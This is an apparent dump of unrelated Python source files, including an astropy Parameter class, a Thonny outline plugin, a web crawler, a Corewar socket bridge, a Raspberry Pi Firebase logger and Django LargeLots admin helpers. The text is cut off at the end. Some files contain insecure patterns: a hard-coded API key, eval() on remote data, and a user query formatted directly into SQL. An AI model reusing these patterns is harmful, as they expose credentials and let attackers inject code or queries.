Parameter has units.\n For other valid string options, see ``Parameter._registry_validators``.\n 'fvalidate' can also be set through a decorator with\n :meth:`~astropy.cosmology.Parameter.validator`.\n doc : str or None (optional, keyword-only)\n Parameter description.\n\n Examples\n --------\n For worked examples see :class:`~astropy.cosmology.FLRW`.\n \"\"\"\n\n def __init__(\n self,\n *,\n derived=False,\n unit=None,\n equivalencies=[],\n fvalidate=\"default\",\n doc=None,\n ):\n # attribute name on container cosmology class.\n # really set in __set_name__, but if Parameter is not init'ed as a\n # descriptor this ensures that the attributes exist.\n self._attr_name = self._attr_name_private = None\n\n self._derived = derived\n self.__doc__ = doc\n\n # units stuff\n self._unit = u.Unit(unit) if unit is not None else None\n self._equivalencies = equivalencies\n\n # Parse registered `fvalidate`\n self._fvalidate_in = fvalidate # Always store input fvalidate.\n if callable(fvalidate):\n pass\n elif fvalidate in _REGISTRY_FVALIDATORS:\n fvalidate = _REGISTRY_FVALIDATORS[fvalidate]\n elif isinstance(fvalidate, str):\n raise ValueError(\n f\"`fvalidate`, if str, must be in {_REGISTRY_FVALIDATORS.keys()}\"\n )\n else:\n raise TypeError(\n f\"`fvalidate` must be a function or {_REGISTRY_FVALIDATORS.keys()}\"\n )\n self._fvalidate = fvalidate\n\n def __set_name__(self, cosmo_cls, name):\n # attribute name on container cosmology class\n self._attr_name = name\n self._attr_name_private = \"_\" + name\n\n @property\n def name(self):\n \"\"\"Parameter name.\"\"\"\n return self._attr_name\n\n @property\n def unit(self):\n \"\"\"Parameter unit.\"\"\"\n return self._unit\n\n @property\n def equivalencies(self):\n \"\"\"Equivalencies used when initializing Parameter.\"\"\"\n return self._equivalencies\n\n @property\n def derived(self):\n \"\"\"Whether the Parameter is derived; true parameters are not.\"\"\"\n return self._derived\n\n # -------------------------------------------\n # descriptor and property-like methods\n\n def __get__(self, cosmology, cosmo_cls=None):\n # Get from class\n if cosmology is None:\n return self\n # Get from instance\n return getattr(cosmology, self._attr_name_private)\n\n def __set__(self, cosmology, value):\n \"\"\"Allows attribute setting once. Raises AttributeError subsequently.\"\"\"\n # Raise error if setting 2nd time.\n if hasattr(cosmology, self._attr_name_private):\n raise AttributeError(f\"can't set attribute {self._attr_name} again\")\n\n # Validate value, generally setting units if present\n value = self.validate(cosmology, copy.deepcopy(value))\n\n # Make the value read-only, if ndarray-like\n if hasattr(value, \"setflags\"):\n value.setflags(write=False)\n\n # Set the value on the cosmology\n setattr(cosmology, self._attr_name_private, value)\n\n # -------------------------------------------\n # validate value\n\n @property\n def fvalidate(self):\n \"\"\"Function to validate a potential value of this Parameter.\"\"\"\n return self._fvalidate\n\n def validator(self, fvalidate):\n \"\"\"Make new Parameter with custom ``fvalidate``.\n\n Note: ``Parameter.fvalidator`` must be the top-most descriptor decorator.\n\n Parameters\n ----------\n fvalidate : callable[[type, type, Any], Any]\n\n Returns\n -------\n `~astropy.cosmology.Parameter`\n Copy of this Parameter but with custom ``fvalidate``.\n \"\"\"\n return self.clone(fvalidate=fvalidate)\n\n def validate(self, cosmology, value):\n \"\"\"Run the validator on this Parameter.\n\n Parameters\n ----------\n cosmology : `~astropy.cosmology.Cosmology` instance\n value : Any\n The object to validate.\n\n Returns\n -------\n Any\n The output of calling ``fvalidate(cosmology, self, value)``\n (yes, that parameter order).\n \"\"\"\n return self.fvalidate(cosmology, self, value)\n\n @staticmethod\n def register_validator(key, fvalidate=None):\n \"\"\"Decorator to register a new kind of validator function.\n\n Parameters\n ----------\n key : str\n fvalidate : callable[[object, object, Any], Any] or None, optional\n Value validation function.\n\n Returns\n -------\n ``validator`` or callable[``validator``]\n if validator is None returns a function that takes and registers a\n validator. This allows ``register_validator`` to be used as a\n decorator.\n \"\"\"\n return _register_validator(key, fvalidate=fvalidate)\n\n # -------------------------------------------\n\n def _get_init_arguments(self, processed=False):\n \"\"\"Initialization arguments.\n\n Parameters\n ----------\n processed : bool\n Whether to more closely reproduce the input arguments (`False`,\n default) or the processed arguments (`True`). The former is better\n for string representations and round-tripping with ``eval(repr())``.\n\n Returns\n -------\n dict[str, Any]\n \"\"\"\n # The keys are added in this order because `repr` prints them in order.\n kw = {\n \"derived\": self.derived,\n \"unit\": self.unit,\n \"equivalencies\": self.equivalencies,\n # Validator is always turned into a function, but for ``repr`` it's nice\n # to know if it was originally a string.\n \"fvalidate\": self.fvalidate if processed else self._fvalidate_in,\n \"doc\": self.__doc__,\n }\n return kw\n\n def clone(self, **kw):\n \"\"\"Clone this `Parameter`, changing any constructor argument.\n\n Parameters\n ----------\n **kw\n Passed to constructor. The current values, eg. ``fvalidate`` are\n used as the default values, so an empty ``**kw`` is an exact copy.\n\n Examples\n --------\n >>> p = Parameter()\n >>> p\n Parameter(derived=False, unit=None, equivalencies=[],\n fvalidate='default', doc=None)\n\n >>> p.clone(unit=\"km\")\n Parameter(derived=False, unit=Unit(\"km\"), equivalencies=[],\n fvalidate='default', doc=None)\n \"\"\"\n # Start with defaults, update from kw.\n kwargs = {**self._get_init_arguments(), **kw}\n # All initialization failures, like incorrect input are handled by init\n cloned = type(self)(**kwargs)\n # Transfer over the __set_name__ stuff. If `clone` is used to make a\n # new descriptor, __set_name__ will be called again, overwriting this.\n cloned._attr_name = self._attr_name\n cloned._attr_name_private = self._attr_name_private\n\n return cloned\n\n def __eq__(self, other):\n \"\"\"Check Parameter equality. Only equal to other Parameter objects.\n\n Returns\n -------\n NotImplemented or True\n `True` if equal, `NotImplemented` otherwise. This allows `other` to\n be check for equality with ``other.__eq__``.\n\n Examples\n --------\n >>> p1, p2 = Parameter(unit=\"km\"), Parameter(unit=\"km\")\n >>> p1 == p2\n True\n\n >>> p3 = Parameter(unit=\"km / s\")\n >>> p3 == p1\n False\n\n >>> p1 != 2\n True\n \"\"\"\n if not isinstance(other, Parameter):\n return NotImplemented\n # Check equality on all `_init_arguments` & `name`.\n # Need to compare the processed arguments because the inputs are many-\n # to-one, e.g. `fvalidate` can be a string or the equivalent function.\n return (self._get_init_arguments(True) == other._get_init_arguments(True)) and (\n self.name == other.name\n )\n\n def __repr__(self):\n \"\"\"String representation.\n\n ``eval(repr())`` should work, depending if contents like ``fvalidate``\n can be similarly round-tripped.\n \"\"\"\n return \"Parameter({})\".format(\n \", \".join(f\"{k}={v!r}\" for k, v in self._get_init_arguments().items())\n )\n","sub_path":"astropy/cosmology/parameter/_core.py","file_name":"_core.py","file_ext":"py","file_size_in_byte":9857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"138785646","text":"import re\nimport tkinter as tk\nfrom tkinter import ttk\n\n#TODO - see if there's a way to remember the previously focused tree item\n#when the tree is rebuilt to avoid reparsing everything on every step\n#idea: remember the focus item's name and line number, in the case of\n#any change see if there's an item with the same name on the same line,\n#or an item on any adjacent lines with nearly the same name (?)\n\n#TODO - see if there's a way to select or somehow mark the line\n#that contains the item that's double-clicked on\n\nclass OutlineView(ttk.Frame):\n def __init__(self, master, workbench):\n ttk.Frame.__init__(self, master)\n self._workbench = workbench\n self._workbench.get_editor_notebook().bind(\"<>\",self._update_frame_contents ,True)\n\n #init and place scrollbar\n self.vert_scrollbar = ttk.Scrollbar(self, orient=tk.VERTICAL)\n self.vert_scrollbar.grid(row=0, column=1, sticky=tk.NSEW)\n\n #init and place tree\n self.tree = ttk.Treeview(self, yscrollcommand=self.vert_scrollbar.set)\n self.tree.grid(row=0, column=0, sticky=tk.NSEW)\n self.vert_scrollbar['command'] = self.tree.yview\n\n #set single-cell frame\n self.columnconfigure(0, weight=1)\n self.rowconfigure(0, weight=1)\n\n #init tree events\n self.tree.bind(\"\", self.on_double_click, \"+\")\n\n #configure the only tree column\n self.tree.column('#0', anchor=tk.W, stretch=True)\n self.tree.heading('#0', text='Item (type @ line)', anchor=tk.W)\n\n def _update_frame_contents(self, event=None):\n self._clear_tree()\n if self._workbench.get_editor_notebook().get_current_editor():\n self.parse_and_display_module(self._workbench.get_editor_notebook().get_current_editor()._code_view)\n \n module_contents = self.active_codeview.get_content()\n nodes = [] #all nodes in format (parent, node_indent, node_children, name, type, linernumber)\n root_node = (None, 0, []) #name, type and linenumber not needed for root\n nodes.append(root_node)\n active_node = root_node\n\n lineno = 0\n for line in module_contents.split('\\n'):\n lineno += 1\n m = re.match('[ ]*[\\w]{1}', line)\n if m:\n indent = len(m.group(0))\n while indent <= active_node[1]:\n active_node = active_node[0]\n\n t = re.match('[ ]*(?P(def|class){1})[ ]+(?P[\\w]+)', line)\n if t:\n current = (active_node, indent, [], t.group('name'), t.group('type'), lineno)\n active_node[2].append(current)\n active_node = current\n\n self.module_data = nodes\n self._display_content() #and now let's display the data\n\n #displays the parsed content\n def _display_content(self):\n if not self.module_data or self.module_data == None:\n return\n\n #go over each item in the root node, which will recursively do the same for child nodes\n for item in self.module_data[0][2]:\n self._add_item_to_tree('', item)\n\n #adds a single item to the tree, recursively calls itself to add any child nodes\n def _add_item_to_tree(self, parent, item):\n #create the text to be played for this item\n item_text = item[3] + ' (' + item[4] + ' @ ' + str(item[5]) + ')'\n \n #insert the item, set lineno as a 'hidden' value\n current = self.tree.insert(parent, 'end', text=item_text, values = item[5])\n\n for child in item[2]:\n self._add_item_to_tree(current, child)\n \n #clears the tree by deleting all items \n def _clear_tree(self):\n for child_id in self.tree.get_children():\n self.tree.delete(child_id)\n\n #called when a double-click is performed on any items\n def on_double_click(self, event):\n lineno = self.tree.item(self.tree.focus())['values'][0]\n index = self.active_codeview.text.index(str(lineno) + '.0')\n self.active_codeview.text.see(index) #make sure that the double-clicked item is visible\n self._workbench.event_generate(\"OutlineDoubleClick\",\n item_text=self.tree.item(self.tree.focus(), option='text'))\n\n #called by editornotebook publisher to notify of changed tab\n def notify_tab_changed(self):\n if self.active_codeview is not None and self.active_codeview.modify_listeners is not None and self in self.active_codeview.modify_listeners:\n self.active_codeview.modify_listeners.remove(self)\n else: \n self._clear_tree()\n\ndef load_plugin(workbench): \n workbench.add_view(OutlineView, \"Outline\", \"ne\")\n","sub_path":"thonny/plugins/outline.py","file_name":"outline.py","file_ext":"py","file_size_in_byte":4726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326439197","text":"# coding=utf-8\nimport requests\nimport parsedata\nimport Log\nimport logging\n\n# 广西历史趋势数据 小时力度\ndef main(sample):\n datautil = parsedata.DataUtil()\n url = 'http://sqmweb.itv.cmvideo.cn:18088/evqmaster/networkaction!returnAreaDetailByID.action'\n params = 'paramData={\"id\":23,\"KPIUTCSec\":\"' + datautil.getDate() + '\",\"SampleInterval\":3600,\"type\":\"2\",\"realtime\":\"\"}'\n \n try:\n st = requests.get(url, params).json()\n paramData = st['resultData']\n arealist = eval(paramData)\n # print \"广西共有数据 :\", arealist['topTotal']\n datalist = arealist['arealist']\n # print len(datalist)\n for i in datalist :\n # print i,type(i)\n params = datautil.parseParams(i['id'], sample=sample, SampleInterval=3600)\n desc = i['location'], '---', i['parentid']\n datautil.parseData(params, desc=desc)\n \n except requests.HTTPError as e:\n logging.error(\"HTTPError :\" + str(e.reason))\n# 距离现在条数 \nmain(sample=48*300)\n","sub_path":"guangxi_historicaltrend_hour/crawler2.py","file_name":"crawler2.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"339205510","text":"# **************************************************************************** #\n# #\n# ::: :::::::: #\n# socket_bridge.py :+: :+: :+: #\n# +:+ +:+ +:+ #\n# By: pde-rent +#+ +:+ +#+ #\n# +#+#+#+#+#+ +#+ #\n# Created: 2018/06/28 22:07:27 by pde-rent #+# #+# #\n# Updated: 2018/07/02 20:47:08 by pde-rent ### ########.fr #\n# #\n# **************************************************************************** #\n\n# !/usr/bin/python3\n\nimport websocket\nimport socket\nimport time\nimport asyncio\nimport sys\nimport os\n\ns_uri = os.getenv(\"WS_HOST\", \"127.0.0.1\")\ns_port = os.getenv(\"WS_PORT\", \"8083\")\n# ws_uri = os.getenv(\"WS_HOST\", \"127.0.0.1\")\nws_port = os.getenv(\"WS_PORT\", \"8082\")\n\naddress = \"ws://\" + s_uri + \":\" + ws_port\n\n# Create a TCP/IP socket\n\n# Bind the socket to the port\nprint(\"Expecting data on %s:%s [TCP]\" % (s_uri, s_port))\nprint(\"Sending data to %s:%s [WebSocket]\" % (s_uri, ws_port))\n# Let's bind\n# sock.bind((s_uri,int(s_port)))\n# Listen for incoming connections\n# sock.listen(1)\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwsock = websocket.create_connection(address)\nsock.bind((s_uri,int(s_port)))\nsock.listen(1)\nloop = asyncio.get_event_loop()\n\nasync def send_websocket(data):\n\tawait wsock.send(data)\n\nasync def play_corewar():\n\n\t#_dbg = 0\n\tpayload = None\n\t(new_socket, client_address) = sock.accept()\n\twhile 1:\n\t\tbuf = None\n\t\twhile 1:\n\t\t\tpayload = new_socket.recv(1).decode()\n\t\t\t# print(payload)\n\t\t\tif (not payload or (\"\" in payload)): #or len(payload) < 2):\n\t\t\t\tprint(\"End of payload.\\nWaiting for another game to begin!\")\n\t\t\t\tnew_socket.close()\n\t\t\t\tawait play_corewar()\n\t\t\t\treturn\n\t\t\t\t# continue\n\t\t\telif not \"$\" in payload:\n\t\t\t\tif buf:\n\t\t\t\t\tbuf += payload\n\t\t\t\telse:\n\t\t\t\t\tbuf = payload\n\t\t\t# print(\"payload:%s\" % payload)\n\t\t\tif \"$\" in payload:\n\t\t\t\t# print(\"%s\" % buf, end='')\n\t\t\t\t# print(\"Sending #%d\" % _dbg)\n\t\t\t\t#_dbg += 1\n\t\t\t\t# asyncio.ensure_future(send_websocket(buf))\n\t\t\t\t# time.sleep(0.05)\n\t\t\t\twsock.send(buf)\n\t\t\t\tbuf = None\n\t\t\t# if (\"\" in payload): #or len(payload) < 2):\n\t\t\t\t# print(\"End of payload.\\nWaiting for another game to begin!\")\n\t\t\t\t# sock.close()\n\t\t\t\t# wsock.close()\n\t\t\t\t# return\n\t\t\t\t# c = sys.stdin.read(1)\n\t\t\t\t# if (c == 'y' or c == 'Y'):\n\t\t\t\t# \tcontinue\n\t\t\t\t# else:\n\t\t\t\t# \tsock.close()\n\t\t\t\t# \twsock.close()\n\t\t\t\t# \tsys.exit(0)\n\t\t\t\t# \tbreak\n\n# loop.run_until_complete(play_corewar())\nasyncio.ensure_future(play_corewar())\nloop.run_forever()\n# loop.close()\n","sub_path":"vizu/socket_bridge.py","file_name":"socket_bridge.py","file_ext":"py","file_size_in_byte":2896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"381247814","text":"#!/usr/bin/python2\n\"\"\"Switch part of the objects file in working set to (possible) bad ones.\n\nThe \"portion\" is defined by the file (which is passed as the only argument to\nthis script) content. Every line in the file is an object index, which will be\nset to good (mark as 0).\n\nThis switch script is made for the noincremental-prune test. This makes sure\nthat, after pruning starts (>1 bad item is found), that the number of args sent\nto the switch scripts is equals to the actual number of items (i.e. checking\nthat noincremental always holds).\n\nWarning: This switch script assumes the --file_args option\n\"\"\"\n\nfrom __future__ import print_function\n\nimport shutil\nimport sys\n\nimport common\n\n\ndef Main(argv):\n \"\"\"Switch part of the objects file in working set to (possible) bad ones.\"\"\"\n working_set = common.ReadWorkingSet()\n objects_file = common.ReadObjectsFile()\n object_index = common.ReadObjectIndex(argv[1])\n\n for oi in object_index:\n working_set[oi] = objects_file[oi]\n\n shutil.copy(argv[1], './noinc_prune_bad')\n\n common.WriteWorkingSet(working_set)\n\n return 0\n\n\nif __name__ == '__main__':\n retval = Main(sys.argv)\n sys.exit(retval)\n","sub_path":"app/src/main/java/com/syd/source/aosp/external/toolchain-utils/binary_search_tool/test/switch_to_bad_noinc_prune.py","file_name":"switch_to_bad_noinc_prune.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"41548009","text":"#!/usr/bin/env python3\n\nimport csv\nimport html\nimport argparse\nimport sys\n\nTEMPLATE_FILE = \"template.html\"\nEXCLUDE_COLUMNS = [\"User\", \"Team\", \"P\"]\nNAME_MAPPING = {\n \"Username\": \"Lietotājvārds\",\n \"User\": \"Vārds\",\n \"Team\": \"Skola\",\n \"Global\": \"Summa\"\n}\n\n\ndef convert_result_to_html(input_name, output, template, title, description):\n with open(template, \"r\") as templateFile:\n template_data = templateFile.read()\n table = \"\"\n with open(input_name, \"r\") as input_file:\n reader = csv.reader(input_file)\n rows = list(reader)\n columns = []\n table += \"\"\n global_column = -2\n for i, name in enumerate(rows[0]):\n if name in EXCLUDE_COLUMNS:\n continue\n if name == \"Global\":\n global_column = i\n columns.append(i)\n column_name = NAME_MAPPING.get(name, name)\n table += \"{0}\".format(html.escape(column_name))\n table += \"\\n\"\n results = sorted(rows[1:], reverse=True, key=lambda x: float(x[global_column]))\n for row in results:\n table += \"\"\n for col_id in columns:\n if col_id > 2: # score\n table += \"{0}\".format(html.escape(row[col_id]))\n else:\n table += \"{0}\".format(html.escape(row[col_id]))\n table += \"\\n\"\n args = {\n \"table\": table,\n \"title\": title,\n \"description\": description\n }\n result = template_data.format(**args)\n output.write(result)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-o\", \"--output\", help=\"Ouptut file\")\n parser.add_argument(\"-t\", \"--title\", default=\"Rezultāti\", help=\"Page title\")\n parser.add_argument(\"-d\", \"--description\", default=\"\")\n parser.add_argument(\"--template\", default=TEMPLATE_FILE, help=\"Template html.\")\n parser.add_argument('input', help=\"Input csv file\")\n args = parser.parse_args()\n\n if args.output:\n with open(args.output, \"w\") as out_file:\n convert_result_to_html(args.input, out_file, args.template, args.title, args.description)\n else:\n convert_result_to_html(args.input, sys.stdout, args.template, args.title, args.description)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"resultToHtml.py","file_name":"resultToHtml.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"540444446","text":"import random\nimport numpy\n\nclass Game:\n def __init__(self):\n self.suitcases = [\n 0.01, 1, 5, 10, 25, 50, 75, 100, 200, 300, 400, 500, 750, 1000, 5000, 10000, 25000, 50000, 75000, 100000, 200000, 300000, 400000, 500000, 750000, 1000000\n ]\n self.round = 6\n self.user_ammount = 0\n self.offer = 0\n self.case_array = []\n self.cases_left = 26 - self.suitcases.count(0)\n \n\n def game_start(self):\n random.shuffle(self.suitcases)\n user_case = int(input('Choose a case to start! '))\n self.user_ammount = self.suitcases[user_case]\n self.suitcases[user_case] = 0\n print(user_case)\n return self.user_ammount\n\n def remaining_cases(self):\n counter = 0\n self.case_array = []\n while counter < len(self.suitcases):\n if self.suitcases[counter] > 0:\n self.case_array.append(counter)\n counter += 1\n else:\n counter += 1\n print(self.case_array)\n return self.case_array\n\n # def banker(self):\n # '''\n # Banker's offer = $12,275.30 + \n # (.748 * expected value) +\n # (-2714.74 * number of cases left) +\n # ( -.040 * maximum value left ) +\n # (.0000006986 * expected value squared ) +\n # ( 32.623 * number of cases left squared ).\n # '''\n # ex_val = [i * 1/26 for i in self.suitcases]\n # self.offer = 12275.30 + (0.748 * sum(ex_val)) + (-2714.74 * self.cases_left) + (-0.040 * max(self.suitcases)) + (0.0000006986 * (sum(ex_val)*sum(ex_val))) + (32.623 * (self.cases_left*self.cases_left))\n # return self.offer \n def banker(self):\n base_offer = max(self.suitcases) - min(self.suitcases)\n self.offer = (base_offer /2) + min(self.suitcases)\n return self.offer\n\n def case_removal(self):\n count = self.round\n while count > 0:\n cases = self.remaining_cases()\n choose_case = int(input(f'Choose a case to remove! {count} cases left to remove!: '))\n print(self.suitcases[choose_case])\n self.suitcases[choose_case] = 0\n count -= 1\n return self.deal_no_deal()\n \n \n \n def deal_no_deal(self):\n banker_offer = self.banker()\n print(banker_offer)\n choice = input(\"Deal or No Deal? \")\n if choice == 'Deal':\n print(banker_offer)\n return \"Thank you for playing!\"\n elif choice == 'No Deal' and self.round == 0:\n keep_case = input('Keep or trade?')\n if (keep_case == 'Keep'):\n return self.user_ammount\n else:\n return self.suitcases[self.remaining_cases[0]]\n return self.user_ammount\n else:\n self.round -= 1\n self.case_removal()\n \n# runner code\nnew_game = Game()\nnew_game.game_start()\nnew_game.case_removal()\nnew_game.deal_no_deal() ","sub_path":"deal_no_deal.py","file_name":"deal_no_deal.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"361808141","text":"\r\nf = open(\"input.txt\")\r\ninputList = f.read().splitlines()\r\nf.close()\r\n\r\nanswers = []\r\ncount = 0\r\ntotal = 0\r\n\r\nfor x in inputList:\r\n if x != \"\":\r\n for i in range(len(x)):\r\n if x[i] not in answers:\r\n \r\n answers.append(x[i])\r\n count = count + 1\r\n else:\r\n answers.clear()\r\n total = total + count\r\n count = 0\r\nprint(total)","sub_path":"Advent of Code day 6.py","file_name":"Advent of Code day 6.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"620326474","text":"# 360_2019p1: 城市修建\n# author: kurumi\n\n\ndef getS(c):\n x, y = [], []\n for i in range(len(c)):\n x.append(c[i][0])\n y.append(c[i][1])\n l = max([max(x) - min(x), max(y) - min(y)])\n return l * l\n\n\nif __name__ == \"__main__\":\n n = int(input())\n coordinate = []\n for i in range(n):\n coordinate.append([int(i) for i in input().split()])\n s = getS(coordinate)\n print(s)\n\n\"\"\"\n有一个城市需要修建，给你N个民居的坐标X,Y，问把这么多民居全都包进城市的话，\n城市所需最小面积是多少（注意，城市为平行于坐标轴的正方形）\n\"\"\"\n","sub_path":"newCoder/360_2019p1.py","file_name":"360_2019p1.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"499763773","text":"import falcon\nfrom wsgiref.simple_server import make_server\n\n\nclass Resource:\n def on_get(self, req, res):\n res.body = '{\"message\": \"test\"}'\n print(req.params)\n res.status = falcon.HTTP_200\n\n# res.stream -- почитать что это\n\n\napi = falcon.API()\n\nr = Resource()\n\napi.add_route('/', r)\n\nserv = make_server('', 5001, api)\nserv.serve_forever()","sub_path":"classroom/falcone_example.py","file_name":"falcone_example.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"347098192","text":"import RPi.GPIO as GPIO \nfrom time import sleep\nimport requests\nfrom firebase import firebase\nimport datetime\n \nGPIO.setmode(GPIO.BOARD) # set up BOARD GPIO numbering, could also be BCM \nGPIO.setup(7, GPIO.IN) # set GPIO04 as input (raindrops module)\nGPIO.setup(18,GPIO.IN) # set GPIO24 as input (water sensor)\nGPIO.setup(3, GPIO.OUT) # set GPIO02 as an output (LED) \nGPIO.output(3, 0)\nfirebase = firebase.FirebaseApplication('https://android-things-group.firebaseio.com', None)\n \n#https://android-things-group.firebaseio.com\n#AIzaSyCQkt7jn96UStHuidROSlO4Y93SRFSt9_g\n \ntry: \n while True:\n print(\"Output raindrops \" + str(GPIO.input(7)-1) + \" water sensor \" + str(GPIO.input(18)))\n if GPIO.input(18) == 1 and GPIO.input(7) == 0:\n GPIO.output(3, 1)\n result = firebase.post('/history', {'water-sensor':str(datetime.datetime.now()), 'rain-sensor':str(datetime.datetime.now())})\n print(str(result))\n else:\n if GPIO.input(18): # if port 7 == 1 \n #print(\"Port 7 is 1/HIGH/True - LED ON\") \n GPIO.output(3, 1) # set port/pin value to 1/HIGH/True\n \n elif GPIO.input(7) == 0: \n #print(\"Port 7 is 0/LOW/False - LED OFF\")\n GPIO.output(3, 1) # set port/pin value to 0/LOW/False\n #result = firebase.post('/history', {'water-sensor':str(datetime.datetime.now())})\n #print(str(result))\n else:\n GPIO.output(3, 0) # set port/pin value to 0/LOW/False\n \n sleep(0.1) # wait 1 seconds (0.1) \n \nfinally: \n GPIO.cleanup()\n","sub_path":"mobileApplication/RPI-sensors.py","file_name":"RPI-sensors.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"196808993","text":"# formatTimes.py\n\nimport re\n\n# problems to address: \n\t# strings that are longer than 5 chars after whitespace, colon, period,\n\t# stripped are usually the result of a colon, period incorrectly \n\t# recognized as a digit - perhaps one way to deal with is to examine the\n\t# the index of where a colon, period should be post-strip\n\t# make this check at (***)\n\n# problems: 23:23.6, 44:53.7, 8:52.3, 21:39.7, 4:17.8, 23:29.8\n# t_3, t_4, t_6, t_10, t_14, t_18\n\ndef translate(raw):\n\n\tMAX_LEN = 5\n\tfmt_time = \"\"\n\tminutes = \"\"\n\tsec = \"\"\n\tms = \"\"\n\n\ttmp = raw.replace(\" \", \"\") # strip whitespace\n\ttmp = re.sub(r'[^0-9]', '', tmp) # strip colons, periods\n\t\n\t# (***) perform a check here before only taking 5 characters\n\n\tif len(tmp) > MAX_LEN: # take at most 5 characters\n\t\ttmp = tmp[:MAX_LEN]\n\n\tif len(tmp) == 4:\n\t\t# print('length 4')\n\t\t# char 1 -> minutes, char 2, 3 -> seconds, char 4 -> ms\n\t\tminutes = tmp[0]\n\t\tsec = tmp[1:3]\n\t\tms = tmp[3:MAX_LEN]\n\telse:\n\t\t# print('length 5')\t\t\t\n\t\t# char 1,2 -> minutes, char 3, 4 -> seconds, char 5 -> ms\n\t\tminutes = tmp[:2]\n\t\tsec = tmp[2:4]\n\t\tms = tmp[4:MAX_LEN+1]\n\n\tfmt_time = str.join('', (minutes, ':', sec, '.', ms))\n\t# print(str.join(' --- ', (fmt_time, exp[i])))\n\treturn(fmt_time)\n\n\t# end translate() function\n","sub_path":"formatTime.py","file_name":"formatTime.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"628034078","text":"from datetime import datetime\nimport pytz\nimport urllib.parse\nfrom io import StringIO\nfrom collections import OrderedDict\n\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import get_template\nfrom django.conf import settings\n\nfrom lots_admin.look_ups import DENIAL_REASONS, APPLICATION_STATUS\nfrom lots_admin.models import Review, Application\n\ndef create_email_msg(template_name, email_subject, email_to_address, context):\n html_template = get_template('emails/{}.html'.format(template_name))\n txt_template = get_template('emails/{}.txt'.format(template_name))\n\n html_content = html_template.render(context)\n txt_content = txt_template.render(context)\n\n msg = EmailMultiAlternatives(email_subject,\n txt_content,\n settings.EMAIL_HOST_USER,\n [email_to_address])\n\n msg.attach_alternative(html_content, 'text/html')\n\n return msg\n\ndef send_denial_email(request, application_status):\n context = {'app': application_status.application,\n 'lot': application_status.lot,\n 'review': Review.objects.filter(application=application_status).latest('id'),\n 'today': datetime.now().date(),\n 'DENIAL_REASONS': DENIAL_REASONS\n }\n\n msg = create_email_msg(\n 'denial_email',\n 'Notification from LargeLots',\n application_status.application.email,\n context\n )\n\n msg.send()\n\ndef create_redirect_path_from_session(request):\n params = {k: request.session[k] for k in ('page', 'query', 'pilot') if request.session.get(k)}\n\n return '?' + urllib.parse.urlencode(params)\n\nclass InvalidStepError(Exception):\n pass\n\ndef step_from_status(description_key):\n '''\n Return step number as integer, given a step description key.\n '''\n key_list = list(APPLICATION_STATUS.keys())\n\n try:\n given_index = key_list.index(description_key)\n\n except ValueError:\n available_steps = ', '.join(key for key in key_list)\n message = '\"{0}\" is not in available step keys: {1}'.format(description_key,\n available_steps)\n raise InvalidStepError(message)\n\n else:\n return given_index + 2 # Our numbered steps begin at 2.\n\ndef application_steps():\n short_names = {\n 'deed': 'Deed check',\n 'location': 'Location check',\n 'multi': 'Multiple applicant check',\n 'letter': 'Alderman letter',\n 'lottery': 'Lottery',\n 'EDS_waiting': 'Submit EDS & PPF',\n 'EDS_submission': 'EDS & PPF submitted',\n 'city_council': 'Approved by City Council & Plan Commission',\n 'debts': 'Certified as debt free',\n 'sold': 'Sold',\n }\n\n steps = [(step_from_status(k), short_names[k])\n for k in APPLICATION_STATUS.keys()]\n\n return steps\n\ndef make_conditions(request, step):\n '''\n Convenience method for the `applications` view in the admin backend.\n '''\n query = request.GET.get('query', None)\n\n if step.isdigit():\n step = int(step)\n\n conditions = '''\n AND coalesce(deed_image, '') <> ''\n AND step = {0}\n '''.format(step)\n\n if request.GET.get('eds', None):\n conditions += 'AND app.eds_received = {} '.format(request.GET['eds'])\n\n if request.GET.get('ppf', None):\n conditions += 'AND app.ppf_received = {} '.format(request.GET['ppf'])\n\n elif step == 'denied':\n conditions = '''\n AND coalesce(deed_image, '') <> ''\n AND status.denied = TRUE\n '''\n\n elif step == 'all':\n conditions = ''\n\n if query:\n query_sql = \"plainto_tsquery('english', '{0}') @@ to_tsvector(app.first_name || ' ' || app.last_name || ' ' || address.ward)\".format(query)\n\n conditions += 'AND {0}'.format(query_sql)\n\n return conditions, step\n\ndef default_pilot_to_render():\n '''\n This method determines the default pilot to use in admin views. \n\n We assume that admins are reviewing applications from the previous pilot, \n while the site accepts applications for the current pilot. \n\n If the application process is open, then show the previous pilot \n in the admin view. Otherwise, show the most recent (or \"current\") pilot.\n '''\n timezone = pytz.timezone('America/Chicago')\n chicago_time = datetime.now(timezone)\n pilot_info = OrderedDict(reversed(sorted(settings.PILOT_INFO.items())))\n\n if settings.END_DATE > chicago_time:\n previous_pilot = list(pilot_info.keys())[1]\n return previous_pilot\n else:\n return 